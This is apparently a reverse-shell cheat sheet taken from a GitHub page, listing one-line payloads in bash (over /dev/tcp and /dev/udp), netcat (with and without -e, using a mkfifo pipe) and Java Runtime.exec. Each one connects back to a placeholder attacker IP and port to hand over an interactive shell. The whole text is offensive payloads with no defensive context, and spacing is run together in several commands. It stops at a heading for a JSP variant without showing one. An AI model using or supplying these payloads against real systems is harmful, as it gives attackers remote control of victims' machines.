You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
bash -l > /dev/tcp/<attacker_ip>/<port>0<&1 2>&1# Or
bash -i >& /dev/tcp/<attacker_ip>/<port>0>&1# Or0<&196;exec196<>/dev/tcp/<attacker_ip>/<port>; sh <&196 >&1962>&196# Or UDP
sh -i >& /dev/udp/<attacker_ip>/<port>0>&1
Netcat
Reverse shell using different netcat flavours
# Traditional
nc <attacker_ip><port> -e /bin/bash
# OpenBSD (no -e available)
rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attacker_ip><port>>/tmp/f
Java
If java is needed
Runtimer = Runtime.getRuntime();
Processp = r.exec("/bin/bash -c 'exec 5<>/dev/tcp/<attacker_ip>/<port>;cat <&5 | while read line; do $line 2>&5 >&5; done'");
p.waitFor();
If jsp is needed (above one is not working all the time)